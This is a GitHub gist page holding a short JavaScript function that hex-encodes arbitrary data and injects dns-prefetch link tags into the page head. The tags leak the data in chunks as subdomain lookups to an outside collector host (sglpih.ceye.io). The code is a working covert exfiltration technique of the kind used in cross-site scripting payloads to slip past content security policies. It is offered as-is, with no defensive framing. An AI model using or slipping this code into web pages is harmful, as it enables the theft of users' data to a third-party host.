Skip to content

Instantly share code, notes, and snippets.

@mozhu1024
Created May 21, 2019 08:26
Show Gist options
  • Save mozhu1024/30bb56b5166cd0c7430ca32c93c9564a to your computer and use it in GitHub Desktop.
Save mozhu1024/30bb56b5166cd0c7430ca32c93c9564a to your computer and use it in GitHub Desktop.
function sendData(data, tag = "t") {
if (data.length <= 0) {
return;
}
// str2hex
var val = "";
var html = "";
for (var i = 0; i < data.length; i++) {
val += data.charCodeAt(i).toString(16);
}
// send bby dns-prefetch
for (var j = 0; j < 100; j++) {
var tt = val.substr(j * 48, 48);
if (tt.length == 0) break;
html += `<link rel="dns-prefetch" href="//${tag}_${j}_${tt}.sglpih.ceye.io">`;
}
document.head.innerHTML += html;
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment